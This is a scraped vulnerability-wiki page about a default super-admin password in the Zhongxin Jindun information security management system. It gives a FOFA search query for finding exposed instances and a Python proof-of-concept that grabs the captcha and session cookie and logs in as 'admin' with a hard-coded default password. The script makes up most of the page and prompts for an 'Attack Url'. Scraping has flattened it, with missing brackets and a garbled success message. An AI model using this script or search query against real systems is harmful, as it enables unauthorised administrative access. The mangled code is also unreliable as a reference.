PWNWIK.COM
,
漏洞影响
中新金盾信息安全管理系统
FOFA
title="中新金盾信息安全管理系统"
验证码
请求
?q=common/getcode
返回了验证码。
POC
import requests import sys import random import re import base64 import time from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \03334mPOC_Des: http://wiki.peiqi.tech \0330m') print('+ \03334mGithub : https://github.com/PeiQi0 \0330m') print('+ \03334m公众号 : PeiQi文库 \0330m') print('+ \03334mVersion: 中新金盾信息安全管理系统 默认超级管理员密码漏洞 \0330m') print('+ \03336m使用格式: python3 poc.py \0330m') print('+ \03336mUrl >>> http://xxx.xxx.xxx.xxx \0330m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "?q=common/getcode" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) print("\03336mo 正在获取验证码 {}?q=common/getcode ..... \0330m".format(target_url)) response_data = response.headers'Set-Cookie' check_code = re.findall(r'check_code=(.*?);', response_data)0 PHPSESSID = re.findall(r'PHPSESSID=(.*?);', response_data)0 print("\03336mo 验证码:{}\no PHPSESSID:{} \0330m".format(check_code, PHPSESSID)) POC_2(target_url, check_code, PHPSESSID) except Exception as e: print("\03331mx 请求失败 \0330m", e) def POC_2(target_url, check_code, PHPSESSID): vuln_url = target_url + "?q=common/login" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Cookie":"PHPSESSID={}; check_code={}".format(PHPSESSID, check_code), "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" } data = "name=admin&password=zxsoft1234!%40%23%24&checkcode={}&doLoginSubmit=1".format(check_code) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) if "1" in response.text and response.status_code == 200: print("\03336mo 目标 {} 存在默认管理员弱口令 admin / email protected#$ \0330m".format(target_url)) else: print("\03331mx 目标 {} 不存在默认管理员弱口令 \0330m".format(target_url)) except Exception as e: print("\03331mx 请求失败 \0330m", e) if __name__ == '__main__': title() target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m")) POC_1(target_url)
PWNWIK.COM==免费、自由、人人可编辑的漏洞库